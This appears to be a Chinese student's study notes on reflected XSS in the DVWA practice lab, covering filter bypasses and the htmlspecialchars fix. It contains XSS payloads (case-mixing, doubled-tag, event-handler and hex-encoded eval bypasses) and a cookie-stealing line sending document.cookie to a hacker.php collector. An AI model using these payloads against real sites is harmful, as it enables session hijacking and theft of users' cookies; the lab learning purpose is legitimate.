前情提要:html的dom对象:document

如document.cookie  / document.write()

http://netsecurity.51cto.com/art/201311/417201.htm实战演示

1.判断是否有反射型XSS漏洞:

2.实践

http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html两个都给我看

img.src="http://localhost/xss/hacker.php?x=" + document.cookie;  //document.location:将页面的内容指定到指定位置

其实不写hacker.js文件也行,直接url里构造就好了

+document.cookie的+是连接符而已,其实是替代了空格、回车!!!(+号可以用%2b编码)

//PHPSESSID后的value可以直接双击修改

 @靶场实践DVWA-XSS(reflected)

教程http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html(更牛逼)

http://www.storysec.com/dvwa-xss-reflected.html(更更牛逼)

1.为啥在搜索框里输入<script>alert(/xss/)</script>不跳出弹窗?

(1)F12一下,html的<pre>标签把<>实体化了,所以输入</pre><script>alert(/xss/)</script><pre>,抵消掉原来的pre标签,弹窗就出来了

(2)<script>被过滤了:$name = str_replace( '<script>', '', $_GET[ 'name' ] );

法一:大小写绕过 </pre><SCriPt>alert(/xss/)</ScRipt><pre>

法二:双写绕过  ‘><sc<script>ript>alert("如果你能看到,说明攻击成功")</script>话说为什么要加'>啊?看另一个教程就没加'>,没有也可以跳出弹窗的说

str_replace()只过滤了一次<script>,外面的被拼接,真是妙不可言

(3)<script>被更厉害地被过滤了(正则)

preg_replace 函数使用正则表达式的搜索和替换,使得双写绕过、大小写混淆也无能为力了。
我们可以考虑通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
比如:</pre><img src=1 onerror=alert(/xss/)><pre>
   <a href='#' onclick=alert(/xss/)>test</a>
   <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  

   <iframe onload=alert(1)>

   <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

(4)使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素

于是这下完全防御了XSS注入

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

2.输入<Xtt>XSS,F12发现出现<xtt>XSS</xtt>标签,说明存在XSS漏洞

原理:事实上并没有<Xtt>这个标签,只是html的自动补全功能,还他喵的不分大小写

XSS-反射型的更多相关文章

  1. 代码审计中的XSS反射型漏洞

    XSS反射型漏洞 一 XSS漏洞总共分三总 XSS反射型漏洞,XSS保存型漏洞,基于DOM的XSS漏洞 这次主要分享XSS反射型漏洞 基本原理:就是通过给别人发送带有恶意脚本代码参数的URL,当URL ...

  2. DVWA之Reflected XSS(反射型XSS)

    目录 Low Medium High Impossible Low 源代码: <?php header ("X-XSS-Protection: 0"); // Is ther ...

  3. 解决反射型XSS漏洞攻击

    对于程序员来说安全防御,无非从两个方面考虑,要么前端要么后台. 一.首先从前端考虑过滤一些非法字符. 前端的主控js中,在<textarea> 输入框标签中,找到点击发送按钮后,追加到聊天 ...

  4. XSS分析及预防

    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...

  5. XSS 初识

    xss(跨站脚本攻击)xss是指攻击者在网页中嵌入客户端脚本,通常是javascript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将在用户的浏览器上被解析执行.重点是“脚本” ...

  6. Cross-site Scripting (XSS) 阅读笔记

    本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 通过阅读和翻译,并按照自己的理解,整理成如下文档. 概述 XSS ...

  7. XSS初体验

    主要内容 什么是XSS? XSS的危害有哪些? 常见的XSS漏洞 如何防范XSS?   什么是XSS? 跨站脚本攻击(Cross Site Scripting),是一种 Web 应用程序的漏洞,当来自 ...

  8. XSS分析及预防(转)

    阅读目录 XSS的种类和特点 XSS预防 总结 XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏 ...

  9. XSS Overview

    什么是XSS? 跨站脚本攻击(Cross Site Scripting):攻击者往Web页面里插入恶意脚本,当用户浏览该页面时,嵌入页面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的.恶意的内容通 ...

  10. XSS分析及如何预防

    XSS分析及如何预防 简单说明: XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开 ...

随机推荐

  1. 【51nod1792】Jabby's segment tree

    题目 线段树是一种经典的数据结构,一颗[1,n]的线段树他的根是[1,n],当一个线段树的结点是[l,r]时,设mid=(l+r)>>1,则这个结点的左儿子右儿子分别是[l,mid],[m ...

  2. 开发一个简单 ef+dapper 数据操作

    新建一个net core 2项目

  3. Entity Framework Core 迁移命令

    Add-Migration init Update-Database init 修改model后,执行迁移的命令 更新数据库 每次更新都要{update}修改 Add-Migration {updat ...

  4. C# => 写法

    public static IWebHostBuilder CreateWebHostBuilder(string[] args) => WebHost.CreateDefaultBuilder ...

  5. fetch 写法

    fetch("../students.json").then(function(response){ if(response.status!==200){ console.log( ...

  6. poj 3320 jessica's Reading PJroblem 尺取法 -map和set的使用

    jessica's Reading PJroblem Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 9134   Accep ...

  7. Vue组件使用

    一.组件概念 有html模板,有css样式,有js逻辑的集合体 每一个组件都是一个vue实例 每个组件均具有自身的模板template,根组件的模板就是挂载点 每个组件模板只能拥有一个根标签 子组件的 ...

  8. Max Sum Plus Plus(最大m字段和,优化)

    Time Limit:1000MS     Memory Limit:32768KB     64bit IO Format:%I64d & %I64u Description Now I t ...

  9. kaliXSSbeef的使用

    Kali中Beef的安装和使用: 先打开终端输入 apt-get install beef-xss 然后切换到beef的安装目录 cd /usr/share/beef-xss 然后启动beef ./b ...

  10. sqli-labs(4)

    sqli-libs(4)通关过程 0x01爱之初体验 首先我们进行注入试探 发现我们的单引号 回显事正常的 双引号回显反而是错误的 查看源码我们发现 多了一个给id赋值的语句 我们在php上面执行一下 ...